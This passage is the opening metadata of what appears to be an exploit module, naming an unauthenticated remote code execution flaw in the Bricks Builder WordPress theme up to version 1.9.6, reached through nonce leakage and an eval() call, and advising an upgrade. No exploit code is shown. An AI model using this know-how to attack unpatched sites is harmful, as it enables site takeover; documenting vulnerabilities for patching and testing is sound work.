'Name' => 'Unauthenticated RCE in Bricks Builder Theme',
'Description' => %q{
This module exploits an unauthenticated remote code execution vulnerability in the
Bricks Builder Theme versions <= 1.9.6 for WordPress. The vulnerability allows attackers
to execute arbitrary PHP code by leveraging a nonce leakage to bypass authentication and
exploit the eval() function usage within the theme. Successful exploitation allows for full
control of the affected WordPress site. It is recommended to upgrade to version 1.9.6.1 or higher.
